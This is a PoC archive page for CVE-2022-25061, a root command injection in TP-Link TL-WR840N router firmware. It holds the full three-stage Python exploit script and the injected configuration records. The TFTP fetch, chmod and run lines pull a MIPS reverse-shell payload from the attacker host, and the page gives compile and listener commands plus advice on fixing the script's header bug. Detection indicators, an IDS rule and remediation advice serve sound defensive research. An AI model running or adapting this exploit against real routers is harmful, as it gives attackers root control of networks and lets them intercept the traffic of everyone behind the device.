PoC Archive PoC Archive
CVE-2022-25061 category: network CVSS 9.8 (CRITICAL) EPSS 18%
Unpatched

TP-Link TL-WR840N Command Injection via oal_setIp6DefaultRoute (CVE-2022-25061)

Published: 2026-11-27 • Researcher: Samir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)

Target software TP-Link TL-WR840N(ES) V6.20 wireless router firmware
Affected versions Firmware build 180709 (TL-WR840N(ES)_V6.20_180709) and, by NVD description, the oal_setIp6DefaultRoute component of that build. No fixed firmware build is identified in the NVD record.
Status PoC (full three-stage chain implemented, but the script contains defects and no successful run is documented)
Severity Critical · CVSS 9.8
CVSS 9.8/10

Exploitation signals

EPSS 18%

EPSS 17.6% · 98th percentile

Severity
Critical
CVE
CVE-2022-25061
Category
network
Affected product
TP-Link TL-WR840N(ES) V6.20 wireless router firmware
Affected versions
Firmware build 180709 (TL-WR840N(ES)_V6.20_180709) and, by NVD description, the oal_setIp6DefaultRoute component of that build. No fixed firmware build is identified in the NVD record.
Disclosed
2026-11-27
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2022-02-25 (upstream commit 0410ac51976c2c8cbce352cd5111d954457705dd, “Create reverse_shell_mipsle.c”)
Author / ResearcherSamir Sanchez Garnica and Luis Jacome Valencia (GitHub: exploitwritter)
CVE / AdvisoryCVE-2022-25061
Categorynetwork
SeverityCritical
CVSS Score9.8 (CVSSv3.1, NVD)
StatusPoC (full three-stage chain implemented, but the script contains defects and no successful run is documented)
Tagscommand injection, TP-Link, TL-WR840N, embedded router, MIPS little-endian, TFTP, authenticated, CWE-78
RelatedN/A

Affected Target

FieldValue
Software / SystemTP-Link TL-WR840N(ES) V6.20 wireless router firmware
Versions AffectedFirmware build 180709 (TL-WR840N(ES)_V6.20_180709) and, by NVD description, the oal_setIp6DefaultRoute component of that build. No fixed firmware build is identified in the NVD record.
Language / PlatformPython 3 exploit script; target runs embedded Linux on MIPS little-endian (MIPS32) hardware with a BusyBox userland
Authentication RequiredYes — administrator credentials for the router web management interface (HTTP Basic authentication)
Network Access RequiredYes — HTTP access to the router management IP, plus the router must be able to reach the attacker over TFTP (UDP/69) and TCP to the reverse-shell port

Summary

The TP-Link TL-WR840N with firmware build 180709 fails to sanitize values that reach shell commands and the noipdns.conf configuration file through its IPv6 default-route configuration path. An administrator authenticating to the web interface can POST crafted configuration records to the CGI endpoint and have arbitrary shell commands stored, then executed as root after the router reloads its configuration. The archived Python script implements the full three-stage chain: it plants a TFTP fetch of a MIPS reverse-shell payload, reboots the device, and triggers the stored shell line that runs the payload. Successful exploitation yields a root shell on the router, exposing the network behind it and every device that trusts it.

Vulnerability Details

Root Cause

The router web interface accepts configuration records in a plain-text section format at the CGI endpoint /cgi?2. Two record types matter for this PoC. NOIP_DNS_CFG carries the dynamic DNS userName, password and userDomain fields, which the device writes into /var/tmp/dconf/noipdns.conf. L3_IP6_FORWARDING carries __ifAliasName and __ifName, which the oal_setIp6DefaultRoute handler uses when it builds the IPv6 default-route configuration.

Neither record is validated against shell metacharacters. The noipdns.conf file is later loaded by a shell-based helper, and the default-route handler interpolates __ifName into a command string, so semicolons in either field terminate the intended command and start an attacker-supplied one. Because the helper runs as root, the injected commands run as root as well.

Attack Vector

An attacker who holds administrator credentials sends an HTTP POST to http://TARGET/cgi?2 with a text/plain body, an administrator Basic authentication cookie, and a Host/Referer pair pointing at the router. The body is a section record such as [NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5 followed by key=value lines. Stage 1 stores three shell commands as the DNS credentials. Stage 2 sets __ifName to a reboot injection so the stored file is applied on boot. Stage 3 sets __ifName to a wildcarded sh invocation that sources the stored noipdns.conf.

No CSRF token or confirmation step is required, and the same requests work from the LAN or from any network that can reach the management interface.

Impact

Remote code execution as root on the router. Root access allows the attacker to read the administrator password and wireless keys, modify DNS and routing, intercept or redirect all traffic through the device, add NAT port forwards, disable firewall rules, and use the router as a foothold for attacks against the internal network. The device remains compromised across reboots because the payload is fetched again on each boot as long as the stored configuration remains.

Environment / Lab Setup

Output
OS:          Attacker: Linux (Kali/Debian) with Python 3
Target:      TP-Link TL-WR840N(ES) V6.20, firmware 180709 (physical unit or
             an emulated firmware image), reachable at its LAN management IP
Router libc: uClibc/BusyBox on MIPS32 little-endian
Tools:       Python 3 + requests, mipsel-linux-gnu-gcc (or a prebuilt MIPS LE
             payload), tftpd-hpa/atftpd, netcat listener

Setup Steps

Shell script
1
2
3
4
python3 -m venv .venv && . .venv/bin/activate
pip install requests

sudo mkdir -p /srv/tftp && sudo chown $USER /srv/tftp

The archived script does not start a TFTP server and does not compile the payload; both are preconditions supplied by the operator.

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the reverse-shell payload — edit the placeholder callback address and port in reverse_shell_mipsle.c, then cross-compile it statically for the router (the script expects a file named s).

    C source
    1
    2
    
    aanvaller_info.sin_port = htons(4444);
    aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.100");
    Shell script
    1
    2
    
    mipsel-linux-gnu-gcc -static -Os -o s reverse_shell_mipsle.c
    cp s /srv/tftp/s
  2. Start the TFTP server and the listener — the router will fetch the payload during stage 3.

    Shell script
    1
    2
    
    sudo systemctl start tftpd-hpa
    nc -lvnp 4444
  3. Run the exploit — stage 1 stores the TFTP fetch, chmod and execution commands as DNS credentials, stage 2 reboots the device, and stage 3 sources the stored file.

    Shell script
    1
    2
    3
    4
    5
    
    python3 CVE-2022-25061.py \
        --target 192.168.0.1 \
        --username admin \
        --password 'admin-password' \
        --lhost 192.168.0.100
  4. Wait for the reboot — after stage 2 the device drops the connection and reloads its configuration; the script prints a prompt and waits for the operator to press Enter before sending stage 3.

    Output
    [+] Sending Stage 1, allocate command in /var/tmp/dconf/noipdns.conf
    [+] Sending Stage 2, reboot device and get new configuration 2
    [+] waiting reconnect to wireless device, press enter to send stage 3 and obtained reverse shell
  5. Catch the shell — stage 3 executes sh */t*/d*/n*, which sources /var/tmp/dconf/noipdns.conf and runs the TFTP fetch, chmod and payload execution.

Exploit Code

See CVE-2022-25061.py (three-stage HTTP client) and reverse_shell_mipsle.c (stage-3 MIPS payload) in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
stage_1 = ('[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5\r\n'
           'enable=1\r\n'
           'userName=;tftp -g -r s -l /var/tmp/dconf/s 192.168.0.100\r\n'
           'password=;chmod +x /var/tmp/dconf/s\r\n'
           'userDomain=;./var/tmp/dconf/s\r\n'
           'login=1\r\n')

stage_2 = ('[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\n'
           '__ifAliasName=ewan_ipoev6_d\r\n'
           '__ifName=;reboot;\r\n'
           'defaultConnectionService=\r\n')

stage_3 = ('[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\n'
           '__ifAliasName=ewan_ipoev6_d\r\n'
           '__ifName=;sh */t*/d*/n*;\r\n'
           'defaultConnectionService=\r\n')

Expected Output

Output
[+] Sending Stage 1, allocate command in /var/tmp/dconf/noipdns.conf
[+] Sending Stage 2, reboot device and get new configuration 2
[+] waiting reconnect to wireless device, press enter to send stage 3 and obtained reverse shell
[+] Getting reverse shell....

and on the listener, a root shell from the router:

Output
$ nc -lvnp 4444
Connection from 192.168.0.1:43210
Connection Completed
uid=0(root) gid=0(root)

Detection & Indicators of Compromise

Output
POST /cgi?2 with bodies containing ";", "tftp", "sh */t*/d*/n*", ";reboot;"
Host: <router-ip>   Referer: http://<router-ip>/mainFrame.htm

/var/tmp/dconf/noipdns.conf containing shell metacharacters or tftp/chmod commands
/var/tmp/dconf/s (unexpected ELF binary)
Unexpected reboot, then a new outbound TCP connection to a non-local host

TFTP RRQ for the filename "s" from the router to an internal host (UDP/69)
Router-originated TCP session to a host and port that are not part of normal traffic

SIEM / IDS Rule (example):

Output
alert http any any -> $ROUTER_MGMT any (msg:"CVE-2022-25061 TP-Link oal_setIp6DefaultRoute command injection attempt"; flow:to_server,established; content:"/cgi?2"; http_uri; content:"NOIP_DNS_CFG"; http_client_body; content:";tftp"; http_client_body; reference:cve,2022-25061; sid:9025061; rev:1;)

Remediation

ActionDetail
PatchUpdate the TL-WR840N to the newest firmware available for the hardware revision, or replace the model if no fixed build is offered; NVD does not name a fixed firmware version for TL-WR840N(ES) V6.20 build 180709. Verify the fixed build with TP-Link support before relying on it.
WorkaroundDo not expose the web management interface to the WAN. Restrict management access to a dedicated administration VLAN or trusted hosts, and use a unique, strong administrator password.
Config HardeningSegment IoT and consumer routers away from production networks, block outbound TFTP (UDP/69) from network devices at the perimeter or LAN firewall, monitor router-originated connections, and re-flash or factory-reset any device that shows unexpected configuration or an outbound shell.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/exploitwritter/CVE-2022-25061 (stars 2, Python plus a C payload).

Review verdict: ingested. This is a real exploit, not a detector: it builds the malicious configuration records itself and drives the three-stage command-injection chain against a user-supplied router, with no version checks, banner scraping or fake verdicts. It is a research PoC and not malware, a C2 framework or a persistence tool. The repository also ships reverse_shell_mipsle.c, a small MIPS payload that the exploit fetches over TFTP to prove code execution; it is included because the reproduction steps depend on it. It is target-specific (hardcoded callback placeholder, no persistence, no C2 protocol, no evasion) and is not a general-purpose backdoor.

License: the repository has no LICENSE file, so copyright remains with the authors and no reuse rights are granted. The archived files keep the original author attribution and add only a short research-use header. The upstream README is copied verbatim as upstream-README.md.

Limitations: the script is rough and was not executed while preparing this entry. Its headers dictionary sets Content-Length to the literal string str(len(self.payload)) and references an attribute self.payload that is never defined, so requests will keep that bogus header and the router or an intermediary may reject the body; removing the Content-Length entry and letting requests compute it is usually necessary on a real device. The script also assumes a TFTP server is already running and that the payload is compiled as a static MIPS little-endian binary named s; it does not compile or serve anything. The stage-2 handling relies on a bare except around the POST that is expected to fail when the router reboots, and the operator must press Enter at the right moment. Paths, the CGI endpoint and the section names are specific to the TL-WR840N(ES) V6.20 build 180709, so other TP-Link models and firmware revisions need their own analysis. Exploitation requires valid administrator credentials, and there is no public proof-of-concept output in the repository, which is why the status is PoC rather than Weaponized. No exploit code was executed during preparation of this entry.

CVE-2022-25061.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#!/usr/bin/python
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/exploitwritter/CVE-2022-25061 (see README for attribution/license)
# Author: Samir Sanchez Garnica and Luis Jacome Valencia
# Description: This script exploits a remote command execution vulnerability under the oal_setIp6DefaultRoute component in the TPLink WR840N router.

import requests
import base64
import argparse

class RCE():
    def __init__(self, ip, username, password, lhost):
        self.ip = ip
        self.username = username
        self.password = password
        self.lhost = lhost
        self.session = requests.Session()
        self.command_1 = ";tftp -g -r s -l /var/tmp/dconf/s {}".format(self.lhost)
        self.command_2 = ";chmod +x /var/tmp/dconf/s"
        self.command_3 = ";./var/tmp/dconf/s"
    
    def base64_encode(self, s):
        msg_bytes = s.encode('ascii')
        return base64.b64encode(msg_bytes)

    def exploit(self):
        # Building the malicious packet
        
        self.url = "http://" + self.ip + "/cgi?2"
        self.proxyes = {}
        self.stage_1 = '[NOIP_DNS_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,5\r\nenable=1\r\nuserName={0}\r\npassword={1}\r\nuserDomain={2}\r\nlogin=1\r\n'.format(self.command_1, self.command_2, self.command_3)
        self.stage_2 = '[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\n__ifAliasName=ewan_ipoev6_d\r\n__ifName=;reboot;\r\ndefaultConnectionService=\r\n'
        self.stage_3 = '[L3_IP6_FORWARDING#0,0,0,0,0,0#0,0,0,0,0,0]0,3\r\n__ifAliasName=ewan_ipoev6_d\r\n__ifName=;sh */t*/d*/n*;\r\ndefaultConnectionService=\r\n'

    
        self.headers = {
            'Host': self.ip,
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0',
            'Accept': '*/*',
            'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'text/plain',
            'Content-Length': 'str(len(self.payload))',
            'Origin': 'http://'+str(self.ip),
            'Referer': 'http://'+str(self.ip)+'/mainFrame.htm',
        }
        
        self.cookies = { 'Authorization' : 'Basic ' + self.base64_encode(self.username + ":" + self.password).decode('ascii') }
        
        self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.stage_1, proxies=self.proxyes)
        if self.response.status_code == 200:
            print("[+] Sending Stage 1, allocate command in /var/tmp/dconf/noipdns.conf")
            
            try:
                self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.stage_2, proxies=self.proxyes, verify=False, timeout=10)
            except:
                print("[+] Sending Stage 2, reboot device and get new configuration 2")
                input("[+] waiting reconnect to wireless device, press enter to send stage 3 and obtained reverse shell")
                            
            self.response = self.session.post(self.url, headers=self.headers, cookies=self.cookies, data=self.stage_3, proxies=self.proxyes)
            if self.response.status_code == 200:
                print("[+] Getting reverse shell....")
        

def main():
    parser = argparse.ArgumentParser()
    parser.add_argument("--username", dest="username", help="Enter the administrator user of the router", required=True)
    parser.add_argument("--password", dest="password", help="Enter the admin password of the router", required=True)
    parser.add_argument("--target", dest="target", help="Enter router ip address", required=True)
    parser.add_argument("--lhost", dest="lhost", help="Enter your lhost server tfpt", required=True)
    args = parser.parse_args()
    
    if args.username and args.password and args.target and args.lhost:
        rce = RCE(args.target, args.username, args.password, args.lhost)
        rce.exploit()

if __name__ == "__main__":
    main()